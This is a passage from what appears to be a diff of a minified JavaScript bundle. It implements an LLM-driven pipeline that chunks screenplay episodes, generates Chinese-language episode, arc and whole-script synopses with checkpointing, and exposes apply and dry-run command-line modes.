completes`);return{value:s[0].parcel,report:o.report}}var Aw={episodeInputMaxChars:6e3,episodeChunkTargetChars:4800,arcEpisodeCount:10,finalMaxInputChars:12e3},Db="\u4ECE\u5F53\u524D\u5267\u672C\u7247\u6BB5\u4E2D\u63D0\u53D6\u5267\u60C5\u6897\u6982\u548C\u5173\u952E\u4E8B\u4EF6\u3002\u53EA\u57FA\u4E8E\u5F53\u524D\u7247\u6BB5\uFF0C\u4E0D\u8981\u63A8\u6D4B\u540E\u7EED\u3002",Gb=["\u8F93\u51FA\u683C\u5F0F\uFF1A\u4E00\u4E2A\u7EAF\u6587\u672C\u7ED3\u6784\u5316\u6587\u6863\u3002\u4E0D\u8981\u5305\u88F9\u4EE3\u7801\u5757\uFF0C\u4E0D\u8981\u5728\u6587\u6863\u524D\u540E\u6DFB\u52A0\u89E3\u91CA\u3002","","## \u7247\u6BB5\u6897\u6982","<\u5982\u679C\u5F53\u524D\u96C6\u53EA\u6709\u4E00\u4E2A\u7247\u6BB5\uFF0C\u5199 200-300 \u5B57\uFF1B\u5982\u679C\u5F53\u524D\u96C6\u88AB\u5207\u6210\u591A\u4E2A\u7247\u6BB5\uFF0C\u5199 80-150 \u5B57\u3002\u6309\u53D1\u751F\u987A\u5E8F\u6982\u62EC\uFF0C\u53EA\u5199\u5F53\u524D\u7247\u6BB5\u3002>","","## \u5173\u952E\u4E8B\u4EF6","- <\u4E8B\u4EF61>","- <\u4E8B\u4EF62>","","## \u4EBA\u7269\u53D8\u5316","- <\u4EBA\u7269\u540D> | <\u53D8\u5316>","","## \u7ED3\u5C3E\u94A9\u5B50","<\u6709\u5219\u5199\u4E00\u53E5\uFF1B\u6CA1\u6709\u5219\u7559\u7A7A>"].join(`
1007
+ `)}function yw(e,t){return{system:Lb(e.instruction,e.format),user:e.input?e.input({parcel:t}):String(t)}}function Nb(e,t,n){if(e.kind==="llm"){if(!n.executor)throw new Error("loom llm task requires run({ executor })");let o=yw(e,t),i=n.executor.route(e.taskId);return{request:o,payload:{step:"extract",kind:"llm",taskId:e.taskId,version:e.version??"",routeFingerprint:i.fingerprint,system:o.system,user:o.user,salt:n.checkpointSalt}}}return{payload:{step:"extract",kind:"fn",version:e.version??"",parcel:t,salt:n.checkpointSalt}}}function gc(e){return{kind:"root",children:e}}function iu(e,t,n){return{kind:"scope",scope:e,data:n,children:t}}function Is(e){return{kind:"parcel",data:e}}function ks(e){return{kind:"llm",...e}}var tu=class e{constructor(t,n=[]){this.input=t;this.steps=n}input;steps;split(t){return new e(this.input,[...this.steps,{kind:"split",spec:t}])}extract(t){return new e(this.input,[...this.steps,{kind:"extract",task:t}])}reduce(t,n){let o=typeof n=="function"?{run:n}:n;return new e(this.input,[...this.steps,{kind:"reduce",scope:t,task:o}])}plan(){return{input:this.input,steps:[...this.steps]}}async run(t={}){return await $b(this.input,this.steps,t)}};function hc(e){return new tu(e)}async function Ub(e,t,n){if(e.length===0)return[];let o=new Array(e.length),i=0,r=Math.max(1,Math.min(t,e.length));return await Promise.all(Array.from({length:r},async()=>{for(;;){let s=i++;if(s>=e.length)break;o[s]=await n(e[s],s)}})),o}function Pb(e,t){let n=t.partition(e);return gc(n.map(o=>{let i=t.chunk(o).map(r=>Is(r));return iu(t.scope,i,o)}))}function nu(e,t=[]){if(e.kind==="parcel")return[{parcel:e.data,path:t}];let n=(e.kind==="root",e.children),o=[];for(let i=0;i<n.length;i++){let r=n[i],s=r.kind==="scope"?[...t,`${r.scope}:${i}`]:[...t,`parcel:${i}`];o.push(...nu(r,s))}return o}function As(e,t){return e?.(t),t}async function Cb(e,t){return As(e.validate,await e.run({parcel:t}))}async function Tb(e,t,n){if(!n.executor)throw new Error("loom llm task requires run({ executor })");return n.executor.generateText(e.taskId,{system:t.system,user:t.user,signal:n.signal})}function hw(e,t,n){return As(e.validate,e.parse({text:n.text,parcel:t,raw:n.raw}))}function ww(e,t,n){if(e.kind==="parcel"){let i=t[n.index];return n.index+=1,Is(i)}let o=e.children.map(i=>ww(i,t,n));return e.kind==="root"?gc(o):iu(e.scope,o,e.data)}function Vb(e){return e.children.every(t=>t.kind==="parcel")}async function _w(e,t,n,o,i){if(e.kind==="parcel")return e;let r=[];for(let w=0;w<e.children.length;w++){let h=e.children[w];r.push(await _w(h,t,n,o,[...i,`${h.kind}:${w}`]))}let s=e.kind==="root"?gc(r):iu(e.scope,r,e.data),c=t==="root"&&s.kind==="root",a=s.kind==="scope"&&s.scope===t;if(!c&&!a||!Vb(s))return s;let d=s.children.map(w=>w.data),p=s.kind==="scope"?s.data:null,l=s.kind==="scope"?s.scope:"root",f=n.version??"",u=`reduce:${t}:${i.join("/")}:${Xl({items:d,scopeData:p,version:f,salt:o.checkpointSalt})}`,y=Xl({step:"reduce",scope:t,version:f,items:d,scopeData:p,salt:o.checkpointSalt}),m=await ou(o.checkpoint,u,y);if(m.hit)return o.report.reused+=1,Is(As(n.validate,m.value));let g=As(n.validate,await n.run(d,{scope:p,scopeName:l}));return o.report.ran+=1,await o.checkpoint.write(eu(u,y,g)),Is(g)}async function ou(e,t,n){let o=await e.read(t);return o&&o.signature===n?{hit:!0,value:o.value}:{hit:!1}}async function $b(e,t,n){let o={executor:n.executor,signal:n.signal,checkpointSalt:n.checkpointSalt,checkpoint:n.checkpoint??Zl(),concurrency:n.concurrency??4,report:{reused:0,ran:0}},i=null,r=e;for(let c of t){if(c.kind==="split"){i=Pb(r,c.spec),r=i;continue}if(i||(i=gc([Is(r)])),c.kind==="extract"){let a=nu(i),d=await Ub(a,o.concurrency,async p=>{let l=Nb(c.task,p.parcel,o),f=Xl(l.payload),u=`extract:${p.path.join("/")}:${f}`;if(c.task.kind==="llm"){let g=await ou(o.checkpoint,u,f);if(g.hit)return o.report.reused+=1,o.executor?.recordReuse(c.task.taskId),hw(c.task,p.parcel,g.value);let w=l.request??yw(c.task,p.parcel),h=await Tb(c.task,w,o),_=hw(c.task,p.parcel,h);return o.report.ran+=1,await o.checkpoint.write(eu(u,f,h)),_}let y=await ou(o.checkpoint,u,f);if(y.hit)return o.report.reused+=1,As(c.task.validate,y.value);let m=await Cb(c.task,p.parcel);return o.report.ran+=1,await o.checkpoint.write(eu(u,f,m)),m});i=ww(i,d,{index:0}),r=i;continue}i=await _w(i,c.scope,c.task,o,[]),r=i}if(!i)return{value:r,report:o.report};let s=nu(i);if(s.length!==1)throw new Error(`loom plan ended with ${s.length} result(s); reduce to root before run completes`);return{value:s[0].parcel,report:o.report}}var Iw={episodeInputMaxChars:6e3,episodeChunkTargetChars:4800,arcEpisodeCount:10,finalMaxInputChars:12e3},Db="\u4ECE\u5F53\u524D\u5267\u672C\u7247\u6BB5\u4E2D\u63D0\u53D6\u5267\u60C5\u6897\u6982\u548C\u5173\u952E\u4E8B\u4EF6\u3002\u53EA\u57FA\u4E8E\u5F53\u524D\u7247\u6BB5\uFF0C\u4E0D\u8981\u63A8\u6D4B\u540E\u7EED\u3002",Gb=["\u8F93\u51FA\u683C\u5F0F\uFF1A\u4E00\u4E2A\u7EAF\u6587\u672C\u7ED3\u6784\u5316\u6587\u6863\u3002\u4E0D\u8981\u5305\u88F9\u4EE3\u7801\u5757\uFF0C\u4E0D\u8981\u5728\u6587\u6863\u524D\u540E\u6DFB\u52A0\u89E3\u91CA\u3002","","## \u7247\u6BB5\u6897\u6982","<\u5982\u679C\u5F53\u524D\u96C6\u53EA\u6709\u4E00\u4E2A\u7247\u6BB5\uFF0C\u5199 200-300 \u5B57\uFF1B\u5982\u679C\u5F53\u524D\u96C6\u88AB\u5207\u6210\u591A\u4E2A\u7247\u6BB5\uFF0C\u5199 80-150 \u5B57\u3002\u6309\u53D1\u751F\u987A\u5E8F\u6982\u62EC\uFF0C\u53EA\u5199\u5F53\u524D\u7247\u6BB5\u3002>","","## \u5173\u952E\u4E8B\u4EF6","- <\u4E8B\u4EF61>","- <\u4E8B\u4EF62>","","## \u4EBA\u7269\u53D8\u5316","- <\u4EBA\u7269\u540D> | <\u53D8\u5316>","","## \u7ED3\u5C3E\u94A9\u5B50","<\u6709\u5219\u5199\u4E00\u53E5\uFF1B\u6CA1\u6709\u5219\u7559\u7A7A>"].join(`
1008
1008
  `),Bb="\u628A\u540C\u4E00\u96C6\u7684\u591A\u4E2A\u7247\u6BB5\u6897\u6982\u5408\u5E76\u4E3A\u4E00\u96C6\u6897\u6982\u3002\u53EA\u4F7F\u7528\u8F93\u5165\u7247\u6BB5\uFF0C\u4E0D\u8981\u65B0\u589E\u5267\u60C5\u3002",Jb=["\u8F93\u51FA\u683C\u5F0F\uFF1A\u4E00\u4E2A\u7EAF\u6587\u672C\u7ED3\u6784\u5316\u6587\u6863\u3002\u4E0D\u8981\u5305\u88F9\u4EE3\u7801\u5757\uFF0C\u4E0D\u8981\u5728\u6587\u6863\u524D\u540E\u6DFB\u52A0\u89E3\u91CA\u3002","","## \u5206\u96C6\u6897\u6982","<200-300 \u5B57\uFF0C\u6309\u5267\u60C5\u53D1\u751F\u987A\u5E8F\u5199\u6210\u8FDE\u8D2F\u6BB5\u843D\u3002>","","## \u5355\u53E5\u6897\u6982","<30-50 \u5B57\uFF0C\u6982\u62EC\u672C\u96C6\u4E3B\u7EBF\u3002>","","## \u5173\u952E\u4E8B\u4EF6","- <\u4E8B\u4EF61>","- <\u4E8B\u4EF62>"].join(`
1009
1009
  `),Kb="\u628A\u4E00\u7EC4\u8FDE\u7EED\u5206\u96C6\u6897\u6982\u538B\u7F29\u4E3A\u9636\u6BB5\u6897\u6982\u3002\u53EA\u4F7F\u7528\u8F93\u5165\u5206\u96C6\uFF0C\u4E0D\u8981\u65B0\u589E\u5267\u60C5\u3002",jb=["\u8F93\u51FA\u683C\u5F0F\uFF1A\u4E00\u4E2A\u7EAF\u6587\u672C\u7ED3\u6784\u5316\u6587\u6863\u3002\u4E0D\u8981\u5305\u88F9\u4EE3\u7801\u5757\uFF0C\u4E0D\u8981\u5728\u6587\u6863\u524D\u540E\u6DFB\u52A0\u89E3\u91CA\u3002","","## \u9636\u6BB5\u6897\u6982","<400-600 \u5B57\uFF0C\u6982\u62EC\u8FD9\u4E00\u9636\u6BB5\u7684\u4E3B\u7EBF\u63A8\u8FDB\u3002>","","## \u5173\u952E\u8F6C\u6298","- <\u8F6C\u62981>","- <\u8F6C\u62982>","","## \u672A\u89E3\u51B3\u60AC\u5FF5","- <\u60AC\u5FF51>"].join(`
1010
1010
  `),zb="\u6839\u636E\u5206\u96C6\u7D22\u5F15\u548C\u9636\u6BB5\u6897\u6982\u751F\u6210\u5168\u5267\u603B\u89C8\u3002\u53EA\u4F7F\u7528\u8F93\u5165\u5185\u5BB9\uFF0C\u4E0D\u8981\u65B0\u589E\u5267\u60C5\u3001\u4EBA\u7269\u6216\u5173\u7CFB\u3002",Hb=["\u8F93\u51FA\u683C\u5F0F\uFF1A\u4E00\u4E2A\u7EAF\u6587\u672C\u7ED3\u6784\u5316\u6587\u6863\u3002\u4E0D\u8981\u5305\u88F9\u4EE3\u7801\u5757\uFF0C\u4E0D\u8981\u5728\u6587\u6863\u524D\u540E\u6DFB\u52A0\u89E3\u91CA\u3002","","## \u5168\u6587\u6897\u6982","<800-1200 \u5B57\uFF0C\u8986\u76D6\u5168\u5267\u4E3B\u7EBF\u3001\u5173\u952E\u5173\u7CFB\u3001\u4E3B\u8981\u51B2\u7A81\u548C\u7ED3\u5C40\u8D70\u5411\u3002>","","## \u4E3B\u9898","<\u4E00\u53E5\u8BDD\u6216\u4E00\u4E2A\u77ED\u8BED>","","## \u4E00\u53E5\u8BDD","<\u4E00\u53E5\u5B8C\u6574 logline>","","## \u98CE\u683C","<\u7C7B\u578B / \u6C14\u8D28 / \u53D9\u4E8B\u98CE\u683C>","","## \u4E3B\u8981\u4EBA\u7269","- <\u540D\u5B57> | <\u89D2\u8272\u5B9A\u4F4D>"].join(`
1011
1011
  `);function Qb(e,t,n){let o=v(t.episode_id).trim()||`ep_${String(n+1).padStart(3,"0")}`,i=dv(o,n),r=v(t.title).trim(),s=[],c=v(e.title).trim();c&&s.push(`\u5267\u540D\uFF1A${c}`),s.push(`\u96C6\u6570\uFF1A\u7B2C${i}\u96C6`),r&&s.push(`\u6807\u9898\uFF1A${r}`),s.push("");for(let a of re(t.scenes)){s.push(av(e,a));for(let d of re(a.actions)){let p=cv(e,d);p&&s.push(p)}s.push("")}return{episodeIndex:n,episodeId:o,episodeNo:i,title:r,existingSynopsis:v(t.synopsis).trim(),text:s.join(`
1012
- `).trim()}}function Fb(e,t=Aw){let n=e.text.split(/\r?\n/),o=n.flatMap(c=>iv(c,t.episodeChunkTargetChars));if(e.text.length<=t.episodeInputMaxChars&&o.length===n.length)return[{episodeIndex:e.episodeIndex,episodeId:e.episodeId,episodeNo:e.episodeNo,title:e.title,part:1,partCount:1,text:e.text,sourceHash:_e(e.text)}];let i=[],r=[],s=0;for(let c of o){let a=c.length+(r.length>0?1:0);r.length>0&&s+a>t.episodeChunkTargetChars&&(i.push(r.join(`
1012
+ `).trim()}}function Fb(e,t=Iw){let n=e.text.split(/\r?\n/),o=n.flatMap(c=>iv(c,t.episodeChunkTargetChars));if(e.text.length<=t.episodeInputMaxChars&&o.length===n.length)return[{episodeIndex:e.episodeIndex,episodeId:e.episodeId,episodeNo:e.episodeNo,title:e.title,part:1,partCount:1,text:e.text,sourceHash:_e(e.text)}];let i=[],r=[],s=0;for(let c of o){let a=c.length+(r.length>0?1:0);r.length>0&&s+a>t.episodeChunkTargetChars&&(i.push(r.join(`
1013
1013
  `).trim()),r=[],s=0);let d=c.length+(r.length>0?1:0);r.push(c),s+=d}return r.length>0&&i.push(r.join(`
1014
- `).trim()),i.map((c,a)=>({episodeIndex:e.episodeIndex,episodeId:e.episodeId,episodeNo:e.episodeNo,title:e.title,part:a+1,partCount:i.length,text:c,sourceHash:_e(c)}))}function Yb(e,t){let n=_c(e);return{episodeIndex:t.episodeIndex,episodeId:t.episodeId,episodeNo:t.episodeNo,title:t.title,part:t.part,partCount:t.partCount,synopsis:lo(n,"\u7247\u6BB5\u6897\u6982"),events:Sr(n.get("\u5173\u952E\u4E8B\u4EF6")??""),characterChanges:uv(n.get("\u4EBA\u7269\u53D8\u5316")??""),hook:(n.get("\u7ED3\u5C3E\u94A9\u5B50")??"").trim()}}function qb(e,t){let n=_v(t.scope,"episode"),o=[...e].sort((i,r)=>i.part-r.part);return{episodeIndex:n.episodeIndex,episodeId:n.episodeId,episodeNo:n.episodeNo,title:n.title,synopsis:o.map(i=>i.synopsis).filter(i=>i.trim()).join(`
1015
- `),oneLine:xv(o.map(i=>i.synopsis)),events:cu(o.flatMap(i=>i.events))}}function Zb(e,t){let n=_c(e);return{episodeIndex:t.episodeIndex,episodeId:t.episodeId,episodeNo:t.episodeNo,title:t.title,synopsis:lo(n,"\u5206\u96C6\u6897\u6982"),oneLine:lo(n,"\u5355\u53E5\u6897\u6982"),events:Sr(n.get("\u5173\u952E\u4E8B\u4EF6")??"")}}function Wb(e,t){let n=[];for(let o=0;o<e.length;o+=t){let i=e.slice(o,o+t),r=i[0],s=i[i.length-1];n.push({index:n.length+1,startEpisodeNo:r.episodeNo,endEpisodeNo:s.episodeNo,text:hv(i)})}return n}function Xb(e,t){let n=[];for(let o=0;o<e.length;o+=t){let i=e.slice(o,o+t),r=i[0],s=i[i.length-1];n.push({index:n.length+1,startEpisodeNo:r.startEpisodeNo,endEpisodeNo:s.endEpisodeNo,text:yv(i)})}return n}function ev(e,t){let n=_c(e);return{index:t.index,startEpisodeNo:t.startEpisodeNo,endEpisodeNo:t.endEpisodeNo,synopsis:lo(n,"\u9636\u6BB5\u6897\u6982"),turns:Sr(n.get("\u5173\u952E\u8F6C\u6298")??""),openQuestions:Sr(n.get("\u672A\u89E3\u51B3\u60AC\u5FF5")??"")}}function tv(e){let t=[...e].sort((i,r)=>i.startEpisodeNo-r.startEpisodeNo),n=t[0],o=t[t.length-1];if(!n||!o)throw new Error("arc reduce requires at least one item");return{index:n.index,startEpisodeNo:n.startEpisodeNo,endEpisodeNo:o.endEpisodeNo,synopsis:t.map(i=>`\u7B2C${i.startEpisodeNo}-${i.endEpisodeNo}\u96C6\uFF1A${i.synopsis}`).join(`
1016
- `),turns:cu(t.flatMap(i=>i.turns)),openQuestions:cu(t.flatMap(i=>i.openQuestions))}}function su(e,t){let n=["\u5206\u96C6\u7D22\u5F15\uFF1A"];for(let o of[...e].sort((i,r)=>i.episodeNo-r.episodeNo))n.push(`\u7B2C${o.episodeNo}\u96C6\uFF1A${o.oneLine||o.synopsis}`);n.push("","\u9636\u6BB5\u6897\u6982\uFF1A");for(let o of[...t].sort((i,r)=>i.startEpisodeNo-r.startEpisodeNo))n.push(`\u7B2C${o.startEpisodeNo}-${o.endEpisodeNo}\u96C6\uFF1A${o.synopsis}`);return n.join(`
1017
- `)}function nv(e){let t=_c(e);return{synopsis:lo(t,"\u5168\u6587\u6897\u6982"),theme:lo(t,"\u4E3B\u9898"),logline:lo(t,"\u4E00\u53E5\u8BDD"),style:lo(t,"\u98CE\u683C"),mainCharacters:fv(lo(t,"\u4E3B\u8981\u4EBA\u7269"))}}async function ov(e){let t=e.config??Aw,n=re(e.script.episodes);if(n.length===0)throw new S("No episodes found in script.",{exitCode:B,errorCode:"SCRIPT_EPISODES_MISSING",hint:"Create or parse episodes before generating synopsis.",data:{expected:["script.episodes[] with at least one episode"],actual:["episodes: 0"]}});let o=n.map((u,y)=>Qb(e.script,u,y)),i=e.overwrite?o:o.filter(u=>!u.existingSynopsis),r=i.length===0?[]:await yc(e.script).split({scope:"episode",partition:()=>i,chunk:u=>Fb(u,t)}).extract(vs({taskId:"synopsis.chunk",instruction:Db,format:Gb,input:({parcel:u})=>mv(u),parse:({text:u,parcel:y})=>Yb(u,y)})).reduce("episode",qb).extract(vs({taskId:"synopsis.episode",instruction:Bb,format:Jb,input:({parcel:u})=>gv(u),parse:({text:u,parcel:y})=>Zb(u,y)})).reduce("root",u=>[...u].sort((y,m)=>y.episodeNo-m.episodeNo)).run({concurrency:e.concurrency,checkpoint:As(xr.join(e.checkpointDir,"episode")),checkpointSalt:e.checkpointSalt,executor:e.executor}),s=Array.isArray(r)?r:r.value,c=new Map(s.map(u=>[u.episodeIndex,u])),a=o.map(u=>c.get(u.episodeIndex)??{episodeIndex:u.episodeIndex,episodeId:u.episodeId,episodeNo:u.episodeNo,title:u.title,synopsis:u.existingSynopsis,oneLine:Sv(u.existingSynopsis),events:[]}),d=a.filter(u=>!u.synopsis.trim()).map(u=>u.episodeId);if(d.length>0)throw new S("Some episode synopses are still missing.",{exitCode:X,errorCode:"EPISODE_SYNOPSIS_MISSING",hint:"Use --overwrite to regenerate, or manually set missing episode synopses.",data:{expected:["every episode has synopsis"],actual:d}});let p=e.overwrite||Av(e.script),l=p?await rv({episodes:a,executor:e.executor,checkpointDir:xr.join(e.checkpointDir,"arc"),checkpointSalt:e.checkpointSalt,concurrency:e.concurrency,config:t}):{value:[],report:{reused:0,ran:0}},f=p?await sv({episodes:a,arcs:l.value,executor:e.executor,checkpointDir:xr.join(e.checkpointDir,"final"),checkpointSalt:e.checkpointSalt,config:t}):{value:kv(e.script),report:{reused:0,ran:0}};return{episodeBriefs:a,overview:f.value,overviewGenerated:p,report:{reused:(Array.isArray(r)?0:r.report.reused)+l.report.reused+f.report.reused,ran:(Array.isArray(r)?0:r.report.ran)+l.report.ran+f.report.ran}}}async function kw(e,t=no){let n=Iv(e.concurrency,mu,"--concurrency"),o=!!e.overwrite,i=!!e.apply,r=!!e.dry_run;if(i&&r)throw new S("--apply and --dry-run are mutually exclusive.",{exitCode:B,errorCode:"SYNOPSIS_GENERATE_FLAG_CONFLICT",hint:"Pick one mode and retry.",data:{expected:["at most one of --apply / --dry-run"],actual:["--apply","--dry-run"]}});let s=v(e.workspace_path||"workspace"),c=await xs(e),a=v(e.model).trim(),d=t.createExecutor(v(e.llm_config).trim()||void 0,a?{profile:a}:void 0),p=v(e.checkpoint).trim()||xr.join(yu(s),"loom","synopsis-generate"),l=await ov({script:c.script,executor:d,checkpointDir:p,concurrency:n,overwrite:o}),f=new Set,u=re(c.script.episodes);for(let k of l.episodeBriefs){let N=u[k.episodeIndex];N&&(o||!v(N.synopsis).trim())&&v(N.synopsis)!==k.synopsis&&(N.synopsis=k.synopsis,f.add(k.episodeId))}let y=!1;if(y=wc(c.script,"synopsis",l.overview.synopsis,o)||y,y=wc(c.script,"theme",l.overview.theme,o)||y,y=wc(c.script,"logline",l.overview.logline,o)||y,y=wc(c.script,"style",l.overview.style,o)||y,o||re(c.script.main_characters).length===0){let k=l.overview.mainCharacters.map(N=>({name:N.name,role:N.role}));JSON.stringify(c.script.main_characters??[])!==JSON.stringify(k)&&(c.script.main_characters=k,y=!0)}let m=f.size>0||y,g=Ss(c),w=!!g.passed,h=[`${l.episodeBriefs.length} episodes; ${f.size} synopses ${i?"written":"would change"}; overview ${l.overviewGenerated?"generated":"reused"}; validation ${w?i?"passed":"would pass":i?"needs repair":"would need repair"}${i?"":"; dry-run, no write"}`,`loom: ran=${l.report.ran}, reused=${l.report.reused}`,`llm config: ${d.configSource}; routes: ${d.usage().length}`],_,x;i&&m&&([_,x]=await jl(c,e,"synopsis.generate"),await Kl(c,g,_),c.remote&&h.push(`revision ${_}; idempotent ${String(x).toLowerCase()}`));let E=xd(re(g.issues));return i||h.push("Run again with --apply to write the generated synopsis fields."),[{text:[...h,...E].join(`
1018
- `),data:{op:i?"synopsis.generate":"synopsis.generate.dry-run",changed:i&&m,revision:_,idempotent:x,validation:g,issues:E,script_path:c.artifactLabel,episode_synopses:l.episodeBriefs.map(k=>({episode_id:k.episodeId,title:k.title,synopsis:k.synopsis,one_line:k.oneLine})),config_source:d.configSource,llm_routes:d.usage()}},G]}function iv(e,t){if(e.length<=t)return[e];let n=[];for(let o=0;o<e.length;o+=t)n.push(e.slice(o,o+t));return n}async function rv(e){let t=Wb(e.episodes,e.config.arcEpisodeCount),n=1,o={reused:0,ran:0};for(;;){let i=await yc(t).split({scope:"arc",partition:c=>c,chunk:c=>[c]}).extract(vs({taskId:"synopsis.arc",instruction:Kb,format:jb,input:({parcel:c})=>wv(c),parse:({text:c,parcel:a})=>ev(c,a)})).reduce("arc",c=>Ev(c,"arc")).reduce("root",c=>[...c].sort((a,d)=>a.startEpisodeNo-d.startEpisodeNo)).run({concurrency:e.concurrency,checkpoint:As(xr.join(e.checkpointDir,`level-${n}`)),checkpointSalt:e.checkpointSalt,executor:e.executor});o.reused+=i.report.reused,o.ran+=i.report.ran;let r=i.value;if(su(e.episodes,r).length<=e.config.finalMaxInputChars||r.length<=1)return{value:r,report:o};t=Xb(r,e.config.arcEpisodeCount),n+=1}}async function sv(e){let t=e.arcs;for(;su(e.episodes,t).length>e.config.finalMaxInputChars&&t.length>1;)t=[tv(t)];let n=await yc({episodes:e.episodes,arcs:t}).extract(vs({taskId:"synopsis.script-overview",instruction:zb,format:Hb,input:({parcel:o})=>su(o.episodes,o.arcs),parse:({text:o})=>nv(o)})).run({concurrency:1,checkpoint:As(e.checkpointDir),checkpointSalt:e.checkpointSalt,executor:e.executor});return{value:n.value,report:n.report}}function av(e,t){let n=oe(t.environment)?t.environment:{},o=v(n.space).trim(),i=v(n.time).trim(),r=Fo(t),s=re(r.locations).map(p=>au(e,"locations","location_id","location_name",v(p.location_id))).filter(p=>p),c=re(r.actors).map(p=>au(e,"actors","actor_id","actor_name",v(p.actor_id))).filter(p=>p),a=s.join("\u3001")||"-";return`[\u573A\u666F] ${[o,i].filter(p=>p).join(" ")||"-"}\uFF5C${a}\uFF5C\u51FA\u573A\uFF1A${c.join("\u3001")||"-"}`}function cv(e,t){let n=v(t.type).trim();if(n==="dialogue"){let i=xw(e,t),r=v(t.content).trim();return r?`[\u5BF9\u767D] ${i?`${i}\uFF1A`:""}${r}`:""}if(n==="inner_thought"){let i=xw(e,t),r=v(t.content).trim();return r?`[\u5FC3\u58F0] ${i?`${i}\uFF1A`:""}${r}`:""}let o=v(t.content).trim();return o?`[\u52A8\u4F5C] ${o}`:""}function xw(e,t){let n=t.speaker;if(!oe(n))return"";let o=v(n.actor_id).trim();if(o)return au(e,"actors","actor_id","actor_name",o)||o;let i=v(n.kind).trim();return i?v(n.label).trim()||i:""}function au(e,t,n,o,i){let r=re(e[t]).find(s=>v(s[n])===i);return r?v(r[o]).trim():""}function dv(e,t){let n=/^ep_(\d+)$/.exec(e);return n?Number(n[1]):t+1}function _c(e){let t=new Map,n=null,o=[],i=()=>{n&&t.set(n,o.join(`
1019
- `).trim()),o=[]};for(let r of e.split(/\r?\n/)){let s=pv(r);if(s){if(n===s.name&&s.inline){o.push(r);continue}i(),n=s.name,s.inline&&o.push(s.inline);continue}n&&o.push(r)}return i(),t}var Sw=new Set(["\u7247\u6BB5\u6897\u6982","\u5173\u952E\u4E8B\u4EF6","\u4EBA\u7269\u53D8\u5316","\u7ED3\u5C3E\u94A9\u5B50","\u5206\u96C6\u6897\u6982","\u5355\u53E5\u6897\u6982","\u9636\u6BB5\u6897\u6982","\u5173\u952E\u8F6C\u6298","\u672A\u89E3\u51B3\u60AC\u5FF5","\u5168\u6587\u6897\u6982","\u4E3B\u9898","\u4E00\u53E5\u8BDD","\u98CE\u683C","\u4E3B\u8981\u4EBA\u7269"]);function pv(e){let t=e.trim(),n=/^#{1,6}\s+(.+?)\s*$/.exec(t);if(n){let r=Iw(n[1].trim());return Sw.has(r)?{name:r,inline:""}:null}let o=t.search(/[::]/),i=Iw((o>=0?t.slice(0,o):t).trim());return Sw.has(i)?{name:i,inline:o>=0?t.slice(o+1).trim():""}:null}var lv={\u95DC\u9375\u4E8B\u4EF6:"\u5173\u952E\u4E8B\u4EF6",\u4EBA\u7269\u8B8A\u5316:"\u4EBA\u7269\u53D8\u5316",\u7D50\u5C3E\u9264\u5B50:"\u7ED3\u5C3E\u94A9\u5B50",\u55AE\u53E5\u6897\u6982:"\u5355\u53E5\u6897\u6982",\u968E\u6BB5\u6897\u6982:"\u9636\u6BB5\u6897\u6982",\u95DC\u9375\u8F49\u6298:"\u5173\u952E\u8F6C\u6298",\u672A\u89E3\u6C7A\u61F8\u5FF5:"\u672A\u89E3\u51B3\u60AC\u5FF5",\u4E3B\u984C:"\u4E3B\u9898",\u4E00\u53E5\u8A71:"\u4E00\u53E5\u8BDD",\u98A8\u683C:"\u98CE\u683C"};function Iw(e){return lv[e]??e}function lo(e,t){let n=(e.get(t)??"").trim();if(!n)throw new Error(`synopsis output missing section: ${t}`);return n}function Sr(e){return e.split(/\r?\n/).map(t=>t.trim()).map(t=>t.replace(/^[-*]\s*/,"").trim()).filter(t=>t.length>0)}function uv(e){return Sr(e).map(t=>{let[n,...o]=t.split("|");return{name:v(n).trim(),change:o.join("|").trim()}}).filter(t=>t.name&&t.change)}function fv(e){return Sr(e).map(t=>{let[n,...o]=t.split("|");return{name:v(n).trim(),role:o.join("|").trim()}}).filter(t=>t.name&&t.role)}function mv(e){return[`\u5F53\u524D\u5206\u96C6\uFF1A\u7B2C${e.episodeNo}\u96C6 ${e.title||""}`.trim(),`\u5F53\u524D\u7247\u6BB5\uFF1A${e.part}/${e.partCount}`,"","\u8FD9\u662F\u5F53\u524D\u4EFB\u52A1\u7684\u539F\u6587\uFF1A",e.text].join(`
1014
+ `).trim()),i.map((c,a)=>({episodeIndex:e.episodeIndex,episodeId:e.episodeId,episodeNo:e.episodeNo,title:e.title,part:a+1,partCount:i.length,text:c,sourceHash:_e(c)}))}function Yb(e,t){let n=wc(e);return{episodeIndex:t.episodeIndex,episodeId:t.episodeId,episodeNo:t.episodeNo,title:t.title,part:t.part,partCount:t.partCount,synopsis:po(n,"\u7247\u6BB5\u6897\u6982"),events:Er(n.get("\u5173\u952E\u4E8B\u4EF6")??""),characterChanges:uv(n.get("\u4EBA\u7269\u53D8\u5316")??""),hook:(n.get("\u7ED3\u5C3E\u94A9\u5B50")??"").trim()}}function qb(e,t){let n=_v(t.scope,"episode"),o=[...e].sort((i,r)=>i.part-r.part);return{episodeIndex:n.episodeIndex,episodeId:n.episodeId,episodeNo:n.episodeNo,title:n.title,synopsis:o.map(i=>i.synopsis).filter(i=>i.trim()).join(`
1015
+ `),oneLine:xv(o.map(i=>i.synopsis)),events:au(o.flatMap(i=>i.events))}}function Zb(e,t){let n=wc(e);return{episodeIndex:t.episodeIndex,episodeId:t.episodeId,episodeNo:t.episodeNo,title:t.title,synopsis:po(n,"\u5206\u96C6\u6897\u6982"),oneLine:po(n,"\u5355\u53E5\u6897\u6982"),events:Er(n.get("\u5173\u952E\u4E8B\u4EF6")??"")}}function Wb(e,t){let n=[];for(let o=0;o<e.length;o+=t){let i=e.slice(o,o+t),r=i[0],s=i[i.length-1];n.push({index:n.length+1,startEpisodeNo:r.episodeNo,endEpisodeNo:s.episodeNo,text:hv(i)})}return n}function Xb(e,t){let n=[];for(let o=0;o<e.length;o+=t){let i=e.slice(o,o+t),r=i[0],s=i[i.length-1];n.push({index:n.length+1,startEpisodeNo:r.startEpisodeNo,endEpisodeNo:s.endEpisodeNo,text:yv(i)})}return n}function ev(e,t){let n=wc(e);return{index:t.index,startEpisodeNo:t.startEpisodeNo,endEpisodeNo:t.endEpisodeNo,synopsis:po(n,"\u9636\u6BB5\u6897\u6982"),turns:Er(n.get("\u5173\u952E\u8F6C\u6298")??""),openQuestions:Er(n.get("\u672A\u89E3\u51B3\u60AC\u5FF5")??"")}}function tv(e){let t=[...e].sort((i,r)=>i.startEpisodeNo-r.startEpisodeNo),n=t[0],o=t[t.length-1];if(!n||!o)throw new Error("arc reduce requires at least one 